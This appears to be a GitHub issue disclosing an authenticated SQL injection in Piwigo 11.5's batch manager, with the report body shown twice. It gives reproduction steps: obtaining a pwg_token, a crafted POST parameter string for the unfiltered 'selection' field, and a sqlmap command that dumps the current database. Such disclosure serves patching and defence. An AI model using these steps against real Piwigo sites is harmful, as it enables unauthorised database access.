Piwigo v11.5 was discovered to contain a SQL injection vulnerability via the parameter pwg_token in /admin/batch_manager_global.php.
I find that there is a sqli in piwigo,here are my descriptions;
At first we need to login and then  we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
![image](https://user-images.githubusercontent.com/56486273/131239935-1e1a76df-e502-48d7-bb29-82f8687b5280.png)
then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php；The parameter selection is not filtered
![image](https://user-images.githubusercontent.com/56486273/131240000-fd43c30b-42bf-4d1e-8296-581e5b3bf08f.png)
Unfiltered parametersselection is spliced
![image](https://user-images.githubusercontent.com/56486273/131240040-95838169-98c6-434e-be6d-890d9add0ba7.png)
The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above
![image](https://user-images.githubusercontent.com/56486273/131240106-fd38c256-7ab4-4256-849c-e4eb3a36dbe7.png)
Save parameters to file，then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db
![image](https://user-images.githubusercontent.com/56486273/131240453-842b89ba-1604-465a-8802-6b8b984e1426.png)
[11.5]SQL injection
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : [11.5]SQL injection
Issue date:

--- start body ---
I find that there is a sqli in piwigo,here are my descriptions;
At first we need to login and then  we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
![image](https://user-images.githubusercontent.com/56486273/131239935-1e1a76df-e502-48d7-bb29-82f8687b5280.png)
then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php；The parameter selection is not filtered
![image](https://user-images.githubusercontent.com/56486273/131240000-fd43c30b-42bf-4d1e-8296-581e5b3bf08f.png)
Unfiltered parametersselection is spliced
![image](https://user-images.githubusercontent.com/56486273/131240040-95838169-98c6-434e-be6d-890d9add0ba7.png)
The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above
![image](https://user-images.githubusercontent.com/56486273/131240106-fd38c256-7ab4-4256-849c-e4eb3a36dbe7.png)
Save parameters to file，then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db
![image](https://user-images.githubusercontent.com/56486273/131240453-842b89ba-1604-465a-8802-6b8b984e1426.png)
--- end body ---
